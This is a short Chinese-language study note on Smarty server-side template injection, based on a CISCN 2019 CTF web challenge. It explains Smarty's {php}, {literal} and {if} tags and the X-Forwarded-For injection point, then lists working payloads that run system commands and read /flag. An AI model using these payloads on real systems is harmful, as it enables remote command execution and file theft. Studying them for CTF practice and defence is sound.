smarty ssti的学习--Day32

基于[CISCN2019 华东南赛区]Web11这道题目，学习一下smarty sstii
smarty是一个php的模板引擎，提供让程序逻辑与页面显示代码（css/html）分离的功能。

smarty利用

• {php}

Smarty3官方手册里说到已经废弃{php}标签，强烈建议不要使用。在Smarty3.1，{php}仅在SmartyBC中可用。

• {literal}
  php5可用，可以让一个模板区域的字符原样输出，经常用于保护页面上的javascrip或css样式表
• {if}
  Smarty的{if}条件判断和PHP的if 非常相似，只是增加了一些特性。每个{if}必须有一个配对的{/if}. 也可以使用{else} 和 {elseif}， 全部的PHP条件表达式和函数都可以在if内使用，如||,or,&&,and,is_array()等

该题目用burpsuit抓包后根据提示改xff,可以发现存在ssti注入，并且题目中也提示了smarty，那么就可以用{if}{/if}这样的标签来读flag。

smarty常用payload：

{if phpinfo()}{/if}
{if system('ls')}{/if}
{ readfile('/flag') }
{if show_source('/flag')}{/if}
{if system('cat ../../../flag')}{/if}